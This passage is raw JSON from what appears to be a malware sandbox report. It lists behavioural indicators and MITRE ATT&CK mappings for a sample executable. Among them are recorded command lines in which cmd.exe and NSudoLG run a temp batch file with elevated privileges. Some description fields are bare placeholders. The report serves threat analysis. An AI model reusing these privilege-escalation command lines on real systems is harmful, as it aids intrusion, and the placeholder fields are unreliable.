Win32_Service WHERE ProcessId = %d and State=\"Running\"\" (Source: 00000000-00002908.00000001.186952.C2012000.00000002.mdmp, Indicator: \"select name from win32_service where processid = %d and state=\"running\"\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcess\" (Indicator: \"CreateProcess\"; File: \"00000000-00007276.00000000.194352.013E2000.00000080.mdmp\")\n Found reference to API \"CreateProcessWithTokenW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"CreateProcessAsUserA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"CreateProcessWithLogonW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"IoCreateDevice\" (Indicator: \"IoCreateDevice\"; File: \"00000000-00007276.00000000.194352.013E2000.00000080.mdmp\")\n Found reference to API \"IofCallDriver\" (Indicator: \"IofCallDriver\"; File: \"00000000-00007276.00000000.194352.013E2000.00000080.mdmp\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForSingleObject@KERNEL32.DLL at 00000000-00007732-10073-43-00BAACA0\n WaitForSingleObject@KERNEL32.DLL at 00000000-00007732-10073-193-00BAACC0\n WaitForMultipleObjects@KERNEL32.DLL at 00000000-00007732-10073-1471-00B20C9B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\")\n Found reference to API \"RegUnLoadKeyW\" (Indicator: \"RegUnLoadKey\"; Source: \"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryW@KERNEL32.DLL at 00000000-00007732-10073-480-00B98480\n LoadLibraryW@KERNEL32.DLL at 00000000-00007732-10073-2108-00B15B5A\n LoadLibraryW@KERNEL32.DLL at 00000000-00007732-10073-2312-00B4C61F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"WinExec\" (Indicator: \"WinExec\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"file/memory contains long string with (Indicator: \"cmd.exe /c\"; File: \"XsTOKMXJ6.bat\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00006664-00000C47-38559969822\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00006664-00000C47-38559969822\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c tasklist\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00006664-00000C47-52582693836\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c tasklist\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00006664-00000C47-52582693836\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\XsTOKMXJ6.bat\" \"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\XsTOKMXJ6.bat\" \"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"User authentication using Basic authentication scheme failed. %n%n Additional Data %n Unexpected error received from LogonUser %1: %%%1.\" (Indicator: \"LogonUser\"; Source: \"00000000-00002908.00000001.186952.D1340000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetCommandLineArgs\" (Indicator: \"GetCommandLine\"; File: \"00000000-00007276.00000000.194352.013E2000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"00000000-00007276.00000000.194352.013E2000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00002908.00000001.186952.C2012000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceA\" (Indicator: \"StartService\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains reference to messaging system library (API string)","description":"Found string \"cannot load Mapi32.dll\" (Indicator: \"MAPI32.dll\"; File: \"00000000-00007732.00000000.194016.00B11000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1137","relevance":1,"id":"string-571","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\")\n Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00001112.00000000.185480.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" with parameter C:\\Users (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" with parameter %USERPROFILE%\\AppData (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" with parameter %LOCALAPPDATA%\\Temp (UID: 00000000-00008068)\n \"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" with parameter saked (UID: 00000000-00008068)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3e","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\XsTOKMXJ6.bat\" \"\" (UID: 00000000-00000340)\n Process \"NSudoLG.exe\" with commandline \"NSudoLG -U:T -P:E -UseCurrentConsole \"%TEMP%\\\\XsTOKMXJ6.bat\" any_word\" (UID: 00000000-00008188)\n Process \"cmd.exe\" with commandline \"/c \"\"%TEMP%\\\\XsTOKMXJ6.bat\" any_word \"\" (UID: 00000000-00006664)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"69683527e9305abfb8008d8c"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe\" failed to load missing module \"